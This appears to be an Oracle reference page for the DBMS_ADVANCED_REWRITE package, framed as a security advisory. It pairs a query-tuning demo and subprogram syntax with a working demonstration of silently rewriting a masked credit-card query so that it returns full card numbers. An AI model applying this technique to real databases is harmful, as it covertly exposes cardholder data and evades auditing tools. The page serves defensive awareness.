Oracle DBMS_ADVANCED_REWRITE Built-In Package
Versions 10.1 - 19.3

Security Advisory
The Oracle built-in PL/SQL package DBMS_ADVANCED_REWRITE can be used to invisibly circumvent what appears to be security and can be used to make the results of a pentest nothing short of laughable. This is why, as you will clearly see in the demo below, penetration testing has value at the network level but is of little or no value once the perimeter is penetrated and the only defensive layer left is the database itself.

Note also that products like Database Firewall, Audit Vault, etc. are unlikely to observe the vulnerability demonstrated here.
 
Recommended Security Rules

 NEVER
  • Grant EXECUTE on this package to any user unless for a very specific purpose and the privilege should be immediately revoked after that activity is completed.
  • Immediately, as used here, means it should be granted for no more than a few minutes which is all of the time required to use this package for a valid purpose.
 WITH GREAT CARE
  • Query the data dictionary after the privilege has been revoked to verify the equivalence created is the equivalence approved by IT management and your CISO.
 CAUTIONS
  • Be wary of any request for EXECUTE privilege for this package. The request, except to implement a known solution to a known performance issue is highly suspicious and should be treated accordingly.
 
How Oracle Works
How Oracle imagined this package would be used In the following example we demonstrate how an innocuous SQL statement written with an INTERSECT can be improved replaced by an equivalent statement using EXISTS that provides vastly improved performance.

conn sys as sysdba@pdbdev

This is the existing SQL statement that we have decided is too cpu intensive and is built into an application from a third party vendor and they won't fix their "bad" code.

SQL> SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst;

 SRVR_ID
--------
       2
       3
       5
      12
      14
     501
     502
     503
     504
     505
     506

11 rows selected.

As you can see the query returns 11 ordered rows.

Here is the "good" SQL statement we want to use to replace it.


SQL> SELECT srvr_id FROM uwclass.servers s WHERE EXISTS (SELECT srvr_id FROM uwclass.serv_inst i WHERE s.srvr_id = i.srvr_id);

 SRVR_ID
--------
       2
       3
       5
      12
      14
     501
     502
     503
     504
     505
     506

11 rows selected.

As you can see it returns the exact same 11 rows in the same order so they are equivalent.

When we compare the explain plans we see that our rewrite reduces cpu utilization by 50%.
First the "bad" with the INTERSECT than the "good" with EXISTS.


EXPLAIN PLAN FOR
SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst;

set linesize 121

SELECT * FROM TABLE(dbms_xplan.display);

PLAN_TABLE_OUTPUT
---------------------------------------------------------------------------
Plan hash value: 308464373
---------------------------------------------------------------------------
| Id | Operation               | Name         | Rows | Bytes | Cost (%CPU)|
---------------------------------------------------------------------------
|  0 | SELECT STATEMENT        |              |  141 |  4560 |      6 (34)|
|  1 |  INTERSECTION           |              |      |       |            |
|  2 |   SORT UNIQUE NOSORT    |              |  141 |   564 |      2 (50)|
|  3 |    INDEX FULL SCAN      | PK_SERVERS   |  141 |   564 |      1  (0)|
|  4 |   SORT UNIQUE           |              |  999 |  3996 |      4 (25)|
|  5 |    INDEX FAST FULL SCAN | PK_SERV_INST |  999 |  3996 |       3 (0)|
---------------------------------------------------------------------------

EXPLAIN PLAN FOR
SELECT srvr_id
FROM uwclass.servers s
WHERE EXISTS (
  SELECT srvr_id
  FROM uwclass.serv_inst i
  WHERE s.srvr_id = i.srvr_id)
;

PLAN_TABLE_OUTPUT
------------------------------------------------------------------------
Plan hash value: 728010459
------------------------------------------------------------------------
| Id | Operation            | Name         | Rows | Bytes | Cost (%CPU)|
------------------------------------------------------------------------
|  0 | SELECT STATEMENT     |              |  11  |    88 |      6 (17)|
|  1 |  NESTED LOOPS        |              |  11  |    88 |      6 (17)|
|  2 |   SORT UNIQUE        |              |  999 |  3996 |      5  (0)|
|  3 |    INDEX FULL SCAN   | PK_SERV_INST |  999 |  3996 |      5  (0)|
| *4 |    INDEX UNIQUE SCAN | PK_SERVERS   |    1 |     4 |      0  (0)|
------------------------------------------------------------------------

You should also note that the optimizer miscalculates the number of rows returned by the "bad" SQL. The query returns 11 rows, not 141. Note to Oracle Corp. I've been pointing this out to you for more than 19 years.

So, since we cannot get the vendor to fix their code and it is embedded in their application we use Advanced Rewrite to replace to inferior statement with the superior statement.


BEGIN
  dbms_advanced_rewrite.declare_rewrite_equivalence('UW',
'SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst',
'SELECT srvr_id FROM uwclass.servers s WHERE EXISTS (SELECT srvr_id FROM uwclass.serv_inst i WHERE s.srvr_id = i.srvr_id)',
 TRUE,
'TEXT_MATCH');
END;
/

The source and destination statements are stored in sys.sum$ in the SRC_STMT and DEST_STMT colums and can more easily be reviewed with the following query.

SELECT * FROM user_rewrite_equivalences;

So, now that we have the equivalence created let's see what happens when the application runs the "bad" statement. We cannot look at the results as they will be identical so we will examine the Explain Plan.

EXPLAIN PLAN FOR
SELECT srvr_id FROM uwclass.servers
INTERSECT
SELECT srvr_id FROM uwclass.serv_inst
;

SELECT * FROM TABLE(dbms_xplan.display);

PLAN_TABLE_OUTPUT
------------------------------------------------------------------------
Plan hash value: 728010459
------------------------------------------------------------------------
| Id | Operation            | Name         | Rows | Bytes | Cost (%CPU)|
------------------------------------------------------------------------
|  0 | SELECT STATEMENT     |              |  11  |    88 |      6 (17)|
|  1 |  NESTED LOOPS        |              |  11  |    88 |      6 (17)|
|  2 |   SORT UNIQUE        |              |  999 |  3996 |      5  (0)|
|  3 |    INDEX FULL SCAN   | PK_SERV_INST |  999 |  3996 |      5  (0)|
| *4 |    INDEX UNIQUE SCAN | PK_SERVERS   |    1 |     4 |      0  (0)|
------------------------------------------------------------------------

Predictably, Oracle technology works and we get the nested loop and the lower cpu utilization.

To remove an existing equivalency again use the DBMS_ADVANCED_REWRITE package.


exec dbms_advanced_rewrite.drop_rewrite_equivalence ('UW');

As we said at the beginning of this demo ... this is how Oracle Corp. envisioned this capability being used.
An exploit that takes advantage of this package to end-run security, testing, and auditing. The problem with good intentions, whether Oracle's or yours is that state actors and organized crime families look at every syntax and every tool and try to find a weakness that can be exploited. This package encapsulates, as you will see in the following demo, a very substantial vulnerability.

CREATE TABLE uwclass.credit_card (
ccno       VARCHAR2(19),
cc_final4  VARCHAR2(4),  -- has only the final 4 digits of the credit card number
cc_expdate DATE,
cc_ccv     NUMBER(4));

INSERT INTO uwclass.credit_card
(ccno, cc_final4, cc_expdate, cc_ccv)
VALUES
('4370-1234-5678-0042', '0042', SYSDATE, '9584');

INSERT INTO uwclass.credit_card
(ccno, cc_final4, cc_expdate, cc_ccv)
VALUES
('3704-4321-8765-1950', '1950', SYSDATE, '1661');

COMMIT;

This is what we want application users to see: Only the final four numbers of the credit card.

SELECT cc_final4 FROM uwclass.credit_card;

CC_F
----
0042
1950

This is what an organized crime family wants to see, the full credit card number.

SELECT ccno FROM uwclass.credit_card;

CCNO
-------------------
4370-1234-5678-0042
3704-4321-8765-1950

It takes only this much code to compromise the application's built-in security and it will be invisible to DBAs and every security tool you have deployed to date. Why? Because security tools look at the SQL that was sent to the database ... not what the optimizer actually executed.

SQL> BEGIN
  2    dbms_advanced_rewrite.declare_rewrite_equivalence(
  3    'UW',
  4    'SELECT cc_final4 FROM uwclass.credit_card',
  5    'SELECT ccno FROM uwclass.credit_card',
  6    FALSE,
  7    'RECURSIVE');
  8 END;
  8 /

PL/SQL procedure successfully completed.

When the application's SQL statement asking for the final 4 digits in the credit card is run

SQL> SELECT cc_final4 FROM uwclass.credit_card;

The results returned are of the entire credit card number

CC_FINAL4
-------------------
4370-1234-5678-0042
3704-4321-8765-1950

Yes, this exploit requires the EXECUTE privilege on the DBMS_ADVANCED_REWRITE package but that should give you no comfort. History has clearly demonstrated that those already possessing that privilege are not immune from temptation and blackmail. Neither is it especially difficult using SQL Injection and other techniques to escalate privileges to accomplish this attack. One example, the GLOGIN attack on our exploits page could be used to grant the necessary object privilege.
 
DBMS_ADVANCED_REWRITE Package Information
AUTHID CURRENT_USER
Character Set The character set must be set to WE8ISO8859P1 for this feature to work in some versions
Dependencies
ALL_REWRITE_EQUIVALENCES DBMS_STANDARD DBMS_UTILITY
DBA_REWRITE_EQUIVALENCES DBMS_SYS_ERROR SUM$
DBMS_RWEQUIV_LIB    
Documented in Types & Packages Yes
Exceptions
Error Code Reason
ORA-30354 Query rewrite not allowed on SYS relations
ORA-30388 Name of the rewrite equivalence is not specified
ORA-30389 The source statement is not compatible with the destination statement
ORA-30391 The specified rewrite equivalence does not exist
ORA-30392 The checksum analysis for the rewrite equivalence failed
ORA-30393 A query block in the statement did not rewrite
ORA-30394 Source statement identical to the destination statement
ORA-30396 Rewrite equivalence procedures require the COMPATIBLE parameter to be set to 10.1 or greater
First Available 10.1
Modes
Value Description
disabled Query rewrite does not use the equivalence declaration. Use this mode to temporarily disable use of the rewrite equivalence declaration.
general Query rewrite uses the equivalence declaration in all of its transformation modes against the incoming request queries. However, query rewrite makes no attempt to rewrite the specified destination_query.
recursive Query rewrite uses the equivalence declaration in all of its transformation modes against the incoming request queries. Moreover, query rewrite further attempts to rewrite the specified destination_query for further performance enhancements whenever it uses the equivalence declaration.
text_match Query rewrite uses the equivalence declaration only in its text match modes. This mode is useful for simple transformations.
Security Model Owned by SYS with no privileges granted

The following changes may be required to grant EXECUTE on this package to a named user or application depending upon usage.
GRANT execute ON dbms_advanced_rewrite TO uwclass;
GRANT create materialized view TO uwclass;
CREATE SYNONYM dbms_advanced_rewrite FOR sys.dbms_advanced_rewrite;
Source {ORACLE_HOME}/rdbms/admin/prvtxrmv.plb
Startup Parameters ALTER SYSTEM SET query_rewrite_integrity = <'TRUSTED' | 'STALE_TOLERATED'>
SCOPE=<BOTH | MEMORY | SPFILE>;
set linesize 121
col name format a30
col value format a30

SELECT name, value
FROM gv$parameter
WHERE name LIKE '%rewrite%';

ALTER SYSTEM SET query_rewrite_integrity = 'TRUSTED'
COMMENT='Permanent Change To System Configuration'
SID='*'
SCOPE=BOTH;

SELECT name, value
FROM gv$parameter
WHERE name LIKE '%rewrite%';

-- the 10g through 12cR1 default is ENFORCED which is not compatible.
Subprograms
 
ALTER_REWRITE_EQUIVALENCE
Changes the mode of the rewrite equivalence declaration to the mode specified dbms_advanced_rewrite.alter_rewrite_equivalence(
name         IN VARCHAR2,
rewrite_mode IN VARCHAR2);
exec dbms_advanced_rewrite.alter_rewrite_equivalence('UW', 'DISABLED');
 
BUILD_SAFE_REWRITE_EQUIVALENCE
Enables the rewrite of top-level materialized views using sub-materialized views dbms_advanced_rewrite.build_safe_rewrite_equivalence(
name             IN VARCHAR2,
source_stmt      IN CLOB,
destination_stmt IN CLOB,
check_sum        IN BINARY_INTEGER);
TBD
Warning: This procedure enables the rewrite and refresh of top-level materialized views using submaterialized views. It is provided for the exclusive use by scripts generated by the DBMS_ADVISOR.TUNE_MVIEW procedure. It is required to enable query rewrite and fast refresh when DBMS_ADVISOR.TUNE_MVIEW decomposes a materialized view into a top-level materialized view and one or more submaterialized views.

Oracle does not recommend you directly use the BUILD_SAFE_REWRITE_EQUIVALENCE procedure. You should use either the DBMS_ADVISOR.TUNE_MVIEW or the DBMS_ADVANCED_REWRITE.CREATE_REWRITE_EQUIVALENCE procedure as appropriate.
 
DECLARE_REWRITE_EQUIVALENCE
Creates a declaration indicating that source_stmt is functionally equivalent to destination_stmt for as long as the equivalence declaration remains enabled dbms_advanced_rewrite.declare_rewrite_equivalence (
name             VARCHAR2,
source_stmt      CLOB,
destination_stmt CLOB,
validate         BOOLEAN  := TRUE,
rewrite_mode     VARCHAR2 := 'TEXT_MATCH');
conn sys as sysdba@pdbdev

GRANT execute on dbms_advanced_rewrite TO uwclass;
GRANT create materialized view TO uwclass;

CREATE OR REPLACE PUBLIC SYNONYM dbms_advanced_rewrite
FOR dbms_advanced_rewrite;

conn uwclass/uwclass@pdbdev

-- click here to download demo test data and save to c:\temp
-- create the demo tables and data by running servers.sql


SQL> @c:\temp\servers.sql

EXPLAIN PLAN FOR
SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst;

set linesize 121

SELECT * FROM TABLE(dbms_xplan.display);

EXPLAIN PLAN FOR
SELECT srvr_id
FROM uwclass.servers s
WHERE EXISTS (
  SELECT srvr_id
  FROM uwclass.serv_inst i
  WHERE s.srvr_id = i.srvr_id)
;

SELECT * FROM TABLE(dbms_xplan.display);

BEGIN
  dbms_advanced_rewrite.declare_rewrite_equivalence('UW',
'SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst',
'SELECT srvr_id FROM uwclass.servers s WHERE EXISTS (SELECT srvr_id FROM uwclass.serv_inst i WHERE s.srvr_id = i.srvr_id)',
 TRUE,
'TEXT_MATCH');
END;
/

SELECT *
FROM user_rewrite_equivalences;

EXPLAIN PLAN
SET STATEMENT_ID = 'AFTER'
FOR
SELECT srvr_id FROM uwclass.servers
INTERSECT
SELECT srvr_id FROM uwclass.serv_inst
;

SELECT * FROM TABLE(dbms_xplan.display);

exec dbms_advanced_rewrite.drop_rewrite_equivalence ('UW');

EXPLAIN PLAN
SET STATEMENT_ID = 'AFTER'
FOR
SELECT srvr_id FROM servers
INTERSECT
SELECT srvr_id FROM serv_inst
;

SELECT * FROM TABLE(dbms_xplan.display);
 
DROP_REWRITE_EQUIVALENCE
Drops the specified rewrite equivalence declaration dbms_advanced_rewrite.drop_rewrite_equivalence(name IN VARCHAR2);
exec dbms_advanced_rewrite.drop_rewrite_equivalence('UW');
 
VALIDATE_REWRITE_EQUIVALENCE
Validates the rewrite equivalence declaration using the specified mode dbms_advanced_rewrite.validate_rewrite_equivalence(name IN VARCHAR2);
exec dbms_advanced_rewrite.validate_rewrite_equivalence('UW');

Related Topics
DBMS_SQLDIAG
DBMS_SQL_TRANSLATOR
DBMS_SQL_TRANSLATOR_EXPORT